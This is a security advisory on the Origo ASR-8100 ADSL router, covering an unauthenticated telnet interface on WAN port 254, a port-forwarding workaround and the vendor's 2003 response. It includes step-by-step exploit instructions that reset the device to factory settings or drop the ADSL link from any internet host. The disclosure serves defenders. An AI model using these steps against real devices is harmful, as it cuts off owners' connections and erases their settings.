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The Origo ASR-8100 ADSL device can be remotely reset to factory settings, allowing a permanent denial of service attack until it is reconfigured manually by an operator. The attack only takes place after the device is reset - which may be some time after it has been performed. PPP authentication information is lost on reset to factory settings, so it is most likely that the device will be unable to establish a WAN link after reset.
The ADSL link can also be remotely reset, causing temporary DoS and (if DHCP is used) its IP address to change.
Both of these do not require any special privileges (no administrative password is required). |
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Credit:
The information has been provided by Theo Markettos.
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A telnet-style configuration interface is left open to the WAN interface on port 254, without any form of protection on it (password protection).
Workaround:
Forwarding external port 254 to an internal port that is unused prevents access to the configuration interface.
This can be done via the web interface by going to: http://router-ip/doc/advance.htm
Click on Configuration: Virtual server
Enter a new entry:
Public port: 254
Private port: 9876
TCP
Host IP address: 127.0.0.1
Click 'Add this setting', then do Configuration: Save Settings/Reboot and
Click 'Save & Reboot'
Exploit:
From any Internet connected host:
telnet <router global IP address> 254
Returns a menu:
01/01/99 CONEXANT SYSTEMS, INC.
00:04:10
ATU-R ACCESS RUNNER ADSL TERMINAL (Annex A)
You are prompted for a LOGIN PASSWORD>
Just press return
Brings up MAIN MENU
1. SYSTEM STATUS AND CONFIGURATION
2. ADSL MENU
4. REMOTE LOGON
Origo Reset:
Press 1 - get to SYSTEM STATUS AND CONFIGURATION
1. SYSTEM INFORMATION
2. SYSTEM CONFIGURATION
Press 2 - get to SYSTEM CONFIGURATION
1. CHANGE SYSTEM TIME
2. CHANGE SYSTEM DATE
3. CHANGE PASSWORD
4. FACTORY DEFAULT CONFIGURATION
Type 1 hh:mm:ss to reset the system time
Type 2 dd/mm/yy to reset the system date
(Option 3 doesn't work)
Type 4: Prompt: This will reset all the configurations and the ADSL modem. Are you sure?(Y/N)
Type Y: Message: NVRAM updated
This does not reset the ADSL modem, only clears the NVRAM. This takes effect the next time the modem is reset: the admin password is reset to that printed in the documentation, and the ADSL username/password are reset, meaning the connection is down permanently until a human sets them up again. Any other settings (security etc) are also lost.
ADSL Link Reset:
From main menu, type 2 to get to ADSL MENU
1. ADSL PERFORMANCE STATUS
2. 24 HOUR ADSL PERFORMANCE HISTORY
3. 7 DAY ADSL PERFORMANCE HISTORY
4. ADSL ALARM HISTORY
5. ADSL TRANSCEIVER CONFIGURATION MENU
6. ADSL LINK RESET
Type 6: Prompt: This will bring down the ADSL link. Are you sure(Y/N)?
Type Y. The ADSL link is reset and a new WAN IP address is requested by DHCP (if the ISP uses it).
Vendor Status:
UK support for Vendor (support@adsltech.com) was notified on 30th August 2003 - entirety of reply message was 'Thanks a lot'. Vendor does not advertise email addresses so were notified via web form on that date - no response received. To date the vendor has not advertised any patches or new firmware.
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